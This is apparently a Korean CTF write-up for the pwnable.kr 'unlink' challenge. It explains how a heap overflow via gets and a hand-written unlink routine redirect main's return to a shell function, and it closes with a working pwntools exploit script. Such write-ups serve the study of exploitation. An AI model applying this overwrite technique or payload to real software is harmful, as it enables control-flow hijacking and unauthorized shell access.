#HeapOverflow #unlink
Heap 공부를 본격적으로 다시 해보고자 이 문제로 시작했다.
Heap 병합과정을 통해 생기는 리얼 Unlink 취약점은 아니고, 구조체를 직접 구현해놓고 Unlink 가 이루어지는 과정을 함수로 구현해놓았다. 보급형 Unlink 취약점 ? 이라고 할 수 있을 듯하다.
우선 청크 구조체는 이렇게 생겼다. fd, bk, 버퍼 요소가 들어있다. 크기는 16바이트 씩이다.
main 함수에서 사용되는 것은 A, B, C 요소이다. 그 후, 바로 아래 코드와 같이
A, B, C 를 이중연결리스트 로 만든다.
그리고 남은 main 함수 로직은 이러하다
- A 가 들어있는 스택주소 leak 시켜줌
- A 의 주소 leak 시켜줌
- gets 함수로 A 의 buf 에 무제한으로 쓴다.
- unlink 로 B 를 조작한다.
그리고 main 이 끝나는 부분을 보면, ebp-4 의 주소 값(ecx) 에서 -4 한 주소값을 eip 에 넣어 main 함수를 종료시킨다.
unlink 함수에 대해서는 소스와 그림만 간략히 첨부한다. 중간에 낀 B 를 무시하고 A와 C를 서로 가리키게끔 만드는 함수이다.
본 문제에서 우리의 목표는 shell 함수 를 실행시키는 것이다.
하지만, 핵심 주소 leak 도 다 되어있고, heap overflow
와 unlink
를 이용하면, 실행시킬 수 있다.
구성하려는 heap 은 이렇다.
이렇게 되면 ebp-4 는 A+12 주소를 가리키게 된다.
A+12 는 우리가 넣은 dummy 값 중 일부가 들어가있을텐데, ebp-4 에서 참조한 주소에서 4 를 뺀 주소는 A+8 이다.
A+8 에는 위에서 보다시피 shell() 함수의 주소가 있으며, 그대로 payload 만들어 전달하면 쉘이 따진다.
from pwn import *
shell=0x080484eb
s=process("/home/unlink/unlink")
pause()
s.recvuntil("here is stack address leak: ")
stack=int(s.recv(10),16)
s.recvuntil("here is heap address leak: ")
heap_A=int(s.recv(10),16)
s.recvuntil("get shell!\n")
#20 bytes
payload=p32(shell)
payload+="a"*12
payload+=p32(heap_A+12)
payload+=p32(stack+20-4)
s.sendline(payload)
#print(hex(int(stack,16)))
#print(heap_A)
s.interactive()
contact : a42873410@gmail.com
'<Wargame & CTF> > Pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] blukat (0) | 2021.05.30 |
---|---|
[Pwnable.kr] asm (0) | 2021.05.29 |
[Pwnable.kr] memcpy (0) | 2021.05.29 |
[Pwnable.kr]shellshock (0) | 2019.05.11 |
[Pwnable.kr]input (0) | 2019.05.11 |